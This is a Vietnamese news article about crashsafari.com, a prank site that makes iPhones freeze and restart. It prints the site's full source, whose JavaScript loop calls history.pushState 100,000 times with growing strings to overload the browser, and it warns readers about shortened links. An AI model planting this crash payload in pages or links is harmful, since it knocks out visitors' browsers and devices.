Trang web sẽ đánh sập mọi chiếc Iphone
Đường link này tưởng như vô hại nhưng sẽ khiến cho chiếc iPhone của bạn bị khởi động lại.
Vừa qua, cộng đồng sử dụng iPhone đã bị một phen tá hỏa khi xuất hiện đường dẫn crashsafari.com có thể khiến chiếc điện thoại của Apple trở nên tê liệt. Chỉ cần gõ địa chỉ trên vào trình duyệt Safari và iPhone/iPad sẽ bị treo và khởi động lại.
Trên thực tế, trang web này thực chất là vô hại, nó chỉ “troll” người dùng bằng cách sử dụng mã JavaScript để gọi hàm History API trên HTML5 liên tục, gây quá tải cho Safari. Hàm History API thường được các trang tin tức sử dụng để thay đổi đường dẫn trang web khi chuyển qua nội dung khác mà không cần phải tải lại trang (refresh).
Dù không gây tác hại gì quá lớn, nhưng màn trêu đùa này sẽ trở nên quá đà khi có kẻ lạm dụng. Vì vậy, hãy cảnh giác khi thấy bất kỳ đường link rút gọn nào trên mạng xã hội, rất có thể đằng sau đó là crashsafari.com.
Sau khi viewsource của trang web, ta có được đoạn code như sau:
<!DOCTYPE html> <html> <body> <h1>What were you expecting?</h1> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-60737367-1', 'auto'); ga('send', 'pageview'); </script> <script> var total = ""; for( var i = 0; i < 100000; i++ ) { total = total + i.toString(); history.pushState(0,0, total ); } </script> </body> </html>
Qua thử nghiệm trên iPhone 6s chạy iOS 9.2.1, thiết bị lập tức bị “treo táo” và khởi động lại. Tuy vậy, sau đó thiết bị lại sử dụng hoàn toàn bình thường. Ngoài ra, trang web này cũng gây ảnh hưởng lên Safari trên máy tính Mac hoặc một số trình duyệt khác như Chrome.